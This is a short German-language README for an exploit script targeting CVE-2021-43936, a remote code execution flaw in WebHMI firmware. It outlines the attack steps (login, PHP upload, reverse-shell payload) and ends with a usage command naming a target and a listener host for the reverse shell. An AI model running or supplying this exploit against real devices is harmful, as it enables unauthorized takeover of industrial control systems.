CVE-2021-43936

CVE-2021-43936 ist eine kritische Schwachstelle (CVSS3 10.0), die zu Remote Code Execution (RCE) in WebHMI Firmware führt.
Diese Schwachstelle betrifft Version 4.0 und die neuesten Versionen.
Getestet nur auf 4.0.7475. Die Schwachstelle wird vom Skript in den folgenden Schritten ausgenutzt:

1. Anmeldung an der Anwendung
2. Hochladen des PHP-Code-Ausführungsskripts
3. Senden der Reverse-Shell-Nutzlast

Der Exploit kann fehlschlagen, wenn mehr als eine Netzwerkschnittstelle angeschlossen ist. Die Lösung besteht darin, es erneut zu versuchen.

Anwendungsbeispiel:

python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80